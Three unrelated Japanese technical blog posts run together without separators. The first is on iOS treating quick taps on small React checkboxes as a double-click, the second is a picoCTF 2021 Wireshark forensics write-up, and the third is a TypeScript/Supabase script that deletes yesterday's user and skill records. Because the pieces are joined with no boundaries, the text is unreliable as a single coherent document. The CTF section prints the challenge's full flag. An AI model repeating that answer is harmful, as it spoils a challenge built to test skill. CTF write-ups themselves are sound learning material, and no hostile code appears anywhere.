たとえば、下記のような2つのチェックボックスのデモコードがあるとします。
デバッグのため、各チェックボックスがダブルクリックされた時はalert()で警告ダイアログを表示するように実装します。
```javascript
function App() {
  return (
    <div>
      <div>
        <input type="checkbox" id="scales" name="label1" onDoubleClick={()=>alert("clicked 111")} />
        <label for="label1">label 1</label>
      </div>

      <div>
        <input type="checkbox" id="horns" name="label2" onDoubleClick={()=>alert("222 clicked")} />
        <label for="label2">label 2</label>
      </div>
    </div>
  );
}

export default App;
```

![Screenshot 2024-04-25 at 15.00.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3726546/97d006d4-2b45-54ab-b8c5-aacb89f9bd4c.png)

##### 動作確認：
label 1とlabel 2を比較的ゆっくりクリックすると、正常に動作します。
しかし、label 1とlabel 2を連続でクリックすると、"clicked 111"のlabel 1の警告ダイアログが表示されてしまいます。

<img width="300" alt="ファイル名" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3726546/bff7e061-6c74-649a-095a-93fde85ebcba.gif">

##### 解析：
こちらの現象は、iOS独自の処理で、クリックの間隔がとても短い場合、位置が少しずれていても同じ位置のダブルクリックとして見なす処理が入っているからです。
たとえば、[iOS向けのユーザーインターフェイスのデザインのヒント](https://developer.apple.com/jp/design/tips/)では、iOSのアプリをデザインする時は"指でのタップが正確に行えるよう、コントロール要素（ボタンなど）のサイズを（44x44ポイント以上）に設計しましょう"。となっています。

![Screenshot 2024-04-25 at 16.27.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3726546/1e53b01c-7e00-a4b4-307f-3ae823a62656.png)
参照先：https://developer.apple.com/jp/design/tips/

上記のデモコードのチェックボックスの高さは22ポイント（px）となっています。
各行の高さを45pxまで広げると、ダブルクリックのような現象は出なくなります。
<img width="300" alt="ファイル名" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3726546/3280abc5-bb4d-0823-abfe-d038b191860a.gif">

```javascript
function App() {
  return (
    <div>
      <div style={{height: "45px"}}>
        <input type="checkbox" id="scales" name="label1" onDoubleClick={()=>alert("clicked 111")} />
        <label for="label1">label 1</label>
      </div>

      <div style={{height: "45px"}}>
        <input type="checkbox" id="horns" name="label2" onDoubleClick={()=>alert("222 clicked")} />
        <label for="label2">label 2</label>
      </div>
    </div>
  );
}

export default App;
```

# 結論
iPhoneやモバイルデバイスでWebアプリを開発する際は、ボタン（チェックボックス）の配置などを気にしましょう。
picoCTF 2021 writeup Wireshark doo dooo do doo...

## Wireshark doo dooo do doo... (Forensics)

Can you find the flag? shark1.pcapng.

添付ファイル
・shark1.pcapng

wiresharkで添付ファイルを開くとProtocolのところにTCPとHTTPが並んでいるので、追跡→TCPストリームを見てみる。ストリーム5のところでフラグらしき文字列が見つかった。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3638553/64916d55-2b74-4d3f-8731-8a94ac8c712a.png)
ROT13で暗号化されてそうなので、デコードするとフラグが得られた。

`picoCTF{p33kab00_1_s33_u_deadbeef}`
昨日のデータを削除するバッチ処理の実装（TypeScript）

# はじめに
現在、React×TupeScriptでアプリを作成中です。
**昨日分のデータを削除するバッチ処理の実装**を行ったので、その内容をまとめます。

**使用言語：** TypeScript
**DB（Baas）：** Supabase
**削除したいデータ：** ユーザー情報（usersテーブル）・ユーザーのスキル情報（user_skillテーブル）
# やりたいこと
下記のコマンドを実行すると、**昨日に登録されたユーザー情報とスキル情報がDB上から削除される**ようにします。
```
npx tsx ./batch/index.ts
```
# 処理の流れ
**1. 昨日の日付を計算する**
現在の日付を取得して、現在の日付から1日前の日付を計算します。
**2. 昨日の始まりと終わりを設定する**
昨日の始まりは0:00（午前）で、昨日の終わりは23:59:59（午後）です。
時刻はUTC（世界協定時）で設定します。（Supabase上でのタイムスタンプはUTCを採用しているため）
**3. ユーザー情報を削除する**
昨日の日付に作成されたユーザー情報を削除します。
**4. スキル情報を削除する**
同様に、昨日の日付に作成されたスキル情報も削除します。
**5. 削除結果を表示する**
ユーザー情報とスキル情報の削除結果を表示します。
エラーが発生した場合は、その内容も表示します。
**6. 処理の完了を通知する**
データの削除が完了したことを通知します。

# 実装例
```ts:ts
import { supabase } from "../src/utils/supabase";

async function deleteUserData() {
  //1＆2.昨日の0:00のUTC
  const startedYesterday = new Date();
  startedYesterday.setDate(startedYesterday.getDate() - 1);
  startedYesterday.setUTCHours(0, 0, 0, 0);

  //1＆2.昨日の23:59:59のUTC
  const endedYesterday = new Date();
  endedYesterday.setDate(endedYesterday.getDate() - 1);
  endedYesterday.setUTCHours(23, 59, 59, 999);

  // 3.削除するユーザー情報の条件を指定
  const userDeleteResult = await supabase
    .from("users")
    .delete()
    // 削除条件を追加
    .gte("created_at", startedYesterday.toISOString())
    .lte("created_at", endedYesterday.toISOString());
  console.log("startedYesterday:", startedYesterday);
  console.log("endedYesterday:", endedYesterday);

  // 5.削除した行数をログに出力
  console.log("Deleted user data:", userDeleteResult);

  // 4.削除するスキル情報の条件を指定
  const skillDeleteResult = await supabase
    .from("user_skill")
    .delete()
    // 
    .gte("created_at", startedYesterday.toISOString())
    .lte("created_at", endedYesterday.toISOString());

  //5. 削除した行数をログに出力
  console.log("Deleted skill data:", skillDeleteResult);
}

// 6. 処理の完了を通知する
deleteUserData()
  .then(() => console.log("Deletion complete!"))
  .catch((error) => console.error("Deletion failed:", error));

```
# 注意点
**日付はUTC（世界協定時）かつSO8601形式で渡さないと、Supabase側で認識されなかったため、``toISOString()`` を使用**しました。
これを使わないと、**"time zone "gmt+0900" not recognized" というエラー**が出てしまいます。

https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString
# おわりに
使用している言語や環境が違っても、全体の処理の流れや考え方は変わらないと思うので、参考になれば幸いです。